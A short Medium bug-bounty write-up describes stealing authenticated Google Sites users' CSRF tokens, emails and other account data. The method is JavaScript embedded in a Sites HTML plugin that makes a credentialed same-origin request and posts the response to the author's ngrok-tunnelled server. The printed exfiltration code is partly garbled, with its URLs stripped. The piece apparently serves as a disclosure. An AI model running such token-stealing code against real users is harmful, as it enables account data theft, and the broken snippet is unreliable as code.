Google sites and exploiting same origin policy.

Raushan Raj
Oct 22, 2018 · 1 min read

I was learning about the same origin policy i.e; Response of ajax call can be captured only if the call is from same origin or headers like Access-Control-Origin/Credentials is present. (In simpler terms).

Google sites have an option to embed custom HTML and javascript. They are using Google Caja sandbox for security. I have noticed that if any ajax call is called from google sites embed plugin, then the origin remains to be I decided to call itself from the HTML plugin.

I inserted the following JS code in the HTML plugin of<redacted_any_site_name>

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
var data=xhttp.responseText;
var xhttp1= new XMLHttpRequest();“POST”,”",true);
};“GET”, “", true);
xhttp.withCredentials = true;

Once the authenticated user visited<redacted_any_site_name> I was able to get the victim’s sensitive information including CSRF token, drive picker token, emails, sites they are managing, currently logged in sites, etc. on my server logs via ngrok tunnel I have used in above code i.e.

It happens because I was calling from the same origin and hence able to capture the response.

After a few discussions, the bug was closed as Intended Behavior. I laughed because I know its a valid bug. Then again I re-opened it, I was able to capture details of security person checking this bug (

Bounty Awarded: $3133.70

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store